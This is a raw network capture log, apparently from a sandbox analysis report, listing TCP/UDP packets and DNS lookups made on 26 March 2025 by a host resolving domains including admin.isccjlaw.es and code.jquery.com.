Mar 26, 2025 18:39:47.985594034 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.985635996 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.985681057 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.985693932 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.985735893 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.985946894 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.988305092 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.988351107 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.988394022 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.988405943 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.988441944 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.988461971 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.990664959 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.990710020 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.990766048 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.990777969 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.990832090 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.990854979 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.990864038 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.991178036 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.991226912 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.991272926 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.991286039 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.991319895 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.992393970 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.992450953 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.992516994 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.992538929 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.992562056 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.994056940 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.994105101 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.994153023 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.994167089 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.994201899 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.995974064 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.996016026 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.996069908 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.996083975 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.996114969 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.997837067 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.997883081 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.997951031 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.997965097 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.997982979 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:47.999908924 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:47.999948025 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.000001907 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.000015020 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.000053883 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.001796961 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.001842022 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.001889944 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.001903057 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.001936913 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.003699064 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.003741026 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.003786087 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.003798962 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.003833055 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.005681992 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.005731106 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.005774021 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.005786896 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.005824089 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.006526947 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.006680965 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.006695032 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.006795883 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.038574934 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.038635969 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.038806915 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.038881063 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.038923979 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.040395021 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.040401936 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.040427923 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.040476084 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.040492058 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.040493011 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.040513992 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.040553093 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.040791035 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.040807009 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.042393923 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.042433023 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.042484999 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.042500973 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.042535067 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.044183016 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.044229984 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.044276953 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.044301987 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.044343948 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.046116114 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.046155930 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.046205997 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.046221018 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.046260118 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.048135042 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.048183918 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.048228025 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.048242092 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.048293114 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.050039053 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.050079107 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.050136089 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.050151110 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.050189018 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.051888943 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.051935911 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.051981926 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.051995993 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.052032948 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.053926945 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.053968906 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.054019928 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.054033041 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.054069042 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.055799961 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.055845976 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.055891037 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.055906057 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.055933952 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.057760954 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.057800055 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.057848930 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.057862997 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.057899952 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.058110952 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.058459997 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.199455976 CET	49738	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:48.199527979 CET	443	49738	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:48.417350054 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.417399883 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.417489052 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.417680025 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.417711020 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.602489948 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.602562904 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.603621960 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.603627920 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.604098082 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.604299068 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.626343012 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:39:48.648264885 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.766146898 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.782928944 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.782974005 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.782995939 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.783010960 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.783044100 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.783075094 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.853693008 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.853725910 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.853760004 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.853776932 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.853811979 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.853830099 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.871309042 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.871344090 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.871373892 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.871383905 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.871418953 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.871433020 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.884684086 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.884721041 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.884758949 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.884778023 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.884792089 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.884829044 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.898013115 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.898045063 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.898092985 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.898139000 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.898174047 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.898194075 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.925256014 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.925335884 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.925353050 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.925378084 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:48.925426006 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.925697088 CET	49744	443	192.168.2.4	151.101.130.137
Mar 26, 2025 18:39:48.925726891 CET	443	49744	151.101.130.137	192.168.2.4
Mar 26, 2025 18:39:49.063718081 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:49.108263016 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:49.814687014 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:49.814876080 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:49.814985037 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:49.817998886 CET	49737	443	192.168.2.4	172.64.80.1
Mar 26, 2025 18:39:49.818025112 CET	443	49737	172.64.80.1	192.168.2.4
Mar 26, 2025 18:39:49.901840925 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:49.901932001 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:49.902055025 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:49.902201891 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:49.902221918 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.087886095 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.088263988 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.088998079 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.089026928 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.089303017 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.089586020 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.136276007 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.285093069 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.285288095 CET	443	49746	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.285382986 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.285382986 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.285468102 CET	49746	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.285975933 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.286011934 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.286079884 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.286346912 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.286359072 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.464451075 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.464870930 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.464894056 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.464966059 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.464972019 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.670299053 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.670447111 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:50.670538902 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.672749996 CET	49747	443	192.168.2.4	35.190.80.1
Mar 26, 2025 18:39:50.672792912 CET	443	49747	35.190.80.1	192.168.2.4
Mar 26, 2025 18:39:51.029519081 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:39:52.152743101 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.153328896 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.153359890 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.238389969 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.238650084 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.238684893 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.239764929 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.239835978 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.239919901 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.240024090 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.240318060 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.241780996 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.241815090 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:52.241868973 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.241888046 CET	49712	443	192.168.2.4	204.79.197.222
Mar 26, 2025 18:39:52.325885057 CET	443	49712	204.79.197.222	192.168.2.4
Mar 26, 2025 18:39:55.221389055 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:55.221539974 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:55.221623898 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:55.842397928 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:39:56.787532091 CET	49734	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:39:56.787583113 CET	443	49734	142.250.64.68	192.168.2.4
Mar 26, 2025 18:39:56.870309114 CET	49671	443	192.168.2.4	204.79.197.203
Mar 26, 2025 18:40:05.448646069 CET	49678	443	192.168.2.4	20.189.173.27
Mar 26, 2025 18:40:25.327357054 CET	49717	80	192.168.2.4	142.250.176.195
Mar 26, 2025 18:40:25.412651062 CET	80	49717	142.250.176.195	192.168.2.4
Mar 26, 2025 18:40:25.412712097 CET	49717	80	192.168.2.4	142.250.176.195
Mar 26, 2025 18:40:25.580404997 CET	49719	443	192.168.2.4	23.44.203.189
Mar 26, 2025 18:40:25.580662012 CET	49721	80	192.168.2.4	184.31.68.248
Mar 26, 2025 18:40:45.025085926 CET	49755	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:40:45.025182009 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:40:45.025295973 CET	49755	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:40:45.028048992 CET	49755	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:40:45.028084993 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:40:45.242809057 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:40:45.243146896 CET	49755	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:40:45.243226051 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:40:55.221545935 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:40:55.221688032 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:40:55.221848011 CET	49755	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:40:56.797028065 CET	49755	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:40:56.797065020 CET	443	49755	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:13.859091997 CET	49714	443	192.168.2.4	20.190.190.132
Mar 26, 2025 18:41:13.859126091 CET	49716	80	192.168.2.4	184.31.68.248
Mar 26, 2025 18:41:13.945431948 CET	80	49716	184.31.68.248	192.168.2.4
Mar 26, 2025 18:41:13.945507050 CET	49716	80	192.168.2.4	184.31.68.248
Mar 26, 2025 18:41:14.003379107 CET	443	49714	20.190.190.132	192.168.2.4
Mar 26, 2025 18:41:14.003448009 CET	49714	443	192.168.2.4	20.190.190.132
Mar 26, 2025 18:41:23.249946117 CET	49709	443	192.168.2.4	52.113.196.254
Mar 26, 2025 18:41:23.531261921 CET	49711	443	192.168.2.4	131.253.33.254
Mar 26, 2025 18:41:45.063057899 CET	49770	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:41:45.063152075 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:45.063237906 CET	49770	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:41:45.063462019 CET	49770	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:41:45.063499928 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:45.245363951 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:45.245707035 CET	49770	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:41:45.245743036 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:55.251260042 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:55.251399040 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:55.251527071 CET	49770	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:41:56.797833920 CET	49770	443	192.168.2.4	142.250.64.68
Mar 26, 2025 18:41:56.797904015 CET	443	49770	142.250.64.68	192.168.2.4
Mar 26, 2025 18:41:59.983238935 CET	443	49712	204.79.197.222	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 18:39:40.829888105 CET	53	59836	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:40.885689974 CET	53	56857	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:41.552340031 CET	53	58019	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:44.937387943 CET	50395	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:44.937665939 CET	49210	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:45.022768974 CET	53	50395	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:45.022821903 CET	53	49210	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:46.443908930 CET	57440	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:46.444015026 CET	64674	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:46.664330959 CET	53	57440	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:46.669349909 CET	53	64674	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:48.332184076 CET	50280	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:48.332268953 CET	55768	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:48.416681051 CET	53	50280	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:48.416711092 CET	53	55768	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:49.108135939 CET	53	64367	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:49.816251040 CET	56767	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:49.816683054 CET	56261	53	192.168.2.4	1.1.1.1
Mar 26, 2025 18:39:49.901036024 CET	53	56767	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:49.901328087 CET	53	56261	1.1.1.1	192.168.2.4
Mar 26, 2025 18:39:58.501230955 CET	53	59968	1.1.1.1	192.168.2.4
Mar 26, 2025 18:40:17.555022955 CET	53	50402	1.1.1.1	192.168.2.4
Mar 26, 2025 18:40:19.928431034 CET	53	50645	162.159.36.2	192.168.2.4
Mar 26, 2025 18:40:40.383733988 CET	53	61563	1.1.1.1	192.168.2.4
Mar 26, 2025 18:40:40.536983013 CET	53	61621	1.1.1.1	192.168.2.4
Mar 26, 2025 18:40:46.037636995 CET	138	138	192.168.2.4	192.168.2.255
Mar 26, 2025 18:41:10.300322056 CET	53	54508	1.1.1.1	192.168.2.4
Mar 26, 2025 18:41:54.928195953 CET	53	59397	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 26, 2025 18:39:44.937387943 CET	192.168.2.4	1.1.1.1	0x1dcf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:44.937665939 CET	192.168.2.4	1.1.1.1	0x7b37	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 26, 2025 18:39:46.443908930 CET	192.168.2.4	1.1.1.1	0xa62b	Standard query (0)	admin.isccjlaw.es	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:46.444015026 CET	192.168.2.4	1.1.1.1	0xc57b	Standard query (0)	admin.isccjlaw.es	65	IN (0x0001)	false
Mar 26, 2025 18:39:48.332184076 CET	192.168.2.4	1.1.1.1	0xcfa7	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:48.332268953 CET	192.168.2.4	1.1.1.1	0x65f8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 26, 2025 18:39:49.816251040 CET	192.168.2.4	1.1.1.1	0x426e	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:49.816683054 CET	192.168.2.4	1.1.1.1	0x4d87	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 26, 2025 18:39:45.022768974 CET	1.1.1.1	192.168.2.4	0x1dcf	No error (0)	www.google.com	142.250.64.68	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:45.022821903 CET	1.1.1.1	192.168.2.4	0x7b37	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 26, 2025 18:39:46.664330959 CET	1.1.1.1	192.168.2.4	0xa62b	No error (0)	admin.isccjlaw.es	172.64.80.1	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:46.669349909 CET	1.1.1.1	192.168.2.4	0xc57b	No error (0)	admin.isccjlaw.es		65	IN (0x0001)	false
